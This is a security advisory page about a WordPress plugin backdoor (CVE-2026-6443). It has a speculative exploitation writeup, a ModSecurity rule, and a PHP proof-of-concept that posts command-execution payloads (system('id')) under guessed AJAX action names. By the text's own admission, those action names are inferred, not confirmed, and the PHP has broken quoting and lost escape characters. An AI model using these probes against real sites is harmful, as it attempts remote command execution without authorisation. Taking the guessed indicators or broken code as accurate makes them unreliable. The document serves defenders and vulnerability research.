Atomic Edge analysis of CVE-2026-6443 (metadata-based):
This vulnerability describes a critically severe backdoor injected into multiple plugins from the Essentialplugin vendor after a malicious actor acquired the plugins. The most recent affected version of the ‘html5-videogallery-plus-player’ plugin is 2.8.7, with a patched version of 2.8.7.1. The CVSS score is 9.8 (Critical) with a network attack vector, low complexity, no privileges required, and no user interaction needed.
Root Cause: Atomic Edge research infers from the CWE-506 classification (Embedded Malicious Code) and the description that the root cause is a supply chain compromise. The plugin was sold to a malicious threat actor who intentionally embedded a backdoor into all plugins they acquired. This is not a typical code vulnerability but rather intentional malicious code added to the software. The backdoor likely manifests as code that creates a persistent web shell, a call-home mechanism, or an auto-update that pulls further malicious payloads. Since no source code diff is available, this conclusion is based solely on the CWE classification and vendor description.
Exploitation: An attacker exploits this by sending crafted HTTP requests to the backdoor endpoint embedded within the plugin. Based on the many similar WordPress plugin backdoors, the backdoor likely responds to a specific query parameter or POST parameter (e.g., a special ‘action’ value in admin-ajax.php, or a direct HTTP request to a hidden file with an authentication token). The attack vector is network-based (AV:N) with no authentication required (PR:N). The attacker can remotely execute arbitrary commands, inject spam content, or maintain persistent access to the compromised site. Atomic Edge research cannot confirm the exact endpoint without code access, but typical patterns include a custom AJAX action that accepts and executes arbitrary PHP code.
Remediation: The fix requires immediate removal of all backdoored code and replacement with a clean, verified copy of the plugin from a trusted source. The patched version 2.8.7.1 likely removes the malicious code blocks and restores the legitimate functionality. Site administrators must delete the old plugin files entirely and reinstall the patched version from the official WordPress repository. They should also audit the site for any persistent changes made by the backdoor (new admin users, spam content, modified database records).
Impact: Successful exploitation allows the malicious actor to gain full administrative control over the WordPress site (C:H/I:H/A:H). They can inject spam across the site, steal sensitive data, install additional malware, use the site for phishing campaigns, and persist access indefinitely. The backdoor grants an attacker complete remote access with no authentication, representing a total compromise of the affected site.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6443 (metadata-based)
# Blocks common backdoor AJAX actions associated with Essentialplugin backdoor
# Action names inferred from typical WordPress plugin backdoor patterns
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266443,phase:2,deny,status:403,chain,msg:'CVE-2026-6443 Essentialplugin Backdoor AJAX Action Blocked',severity:'CRITICAL',tag:'CVE-2026-6443'"
SecRule ARGS_POST:action "@pm html5_videogallery_plus_player_backdoor wpsp_remote wp_system_exec essentialplugin_backdoor" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6443 - Essentialplugin Plugins (Various Versions) - Injected Backdoor
// This PoC attempts to probe the likely backdoor endpoint.
// Based on common WordPress plugin backdoor patterns, the malicious code
// often registers an AJAX action with no capability or nonce checks.
// The plugin slug is 'html5-videogallery-plus-player'.
// Common backdoor actions: 'wpsp_remote', 'update_option', 'wpsg_system', 'plugin_backdoor'.
// We'll test multiple likely action names.
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$backdoor_actions = array(
'html5_videogallery_plus_player_backdoor',
'wpsp_remote',
'wp_system_exec',
'essentialplugin_backdoor'
);
$cmd = 'id';
echo "Atomic Edge CVE-2026-6443 Backdoor Proben";
echo "Target: $target_urlnn";
foreach ($backdoor_actions as $action) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'action' => $action,
'cmd' => $cmd,
'code' => 'system('id');'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Testing action: $actionn";
echo "HTTP code: $http_coden";
echo "Response: " . substr($response, 0, 200) . "nn";
// If the response contains typical system output (uid, gid, groups) or
// indicates code execution, flag it.
if (strpos($response, 'uid=') !== false || $http_code == 200 && strlen($response) > 10) {
echo "*** BACKDOOR DETECTED with action '$action' ***n";
}
}
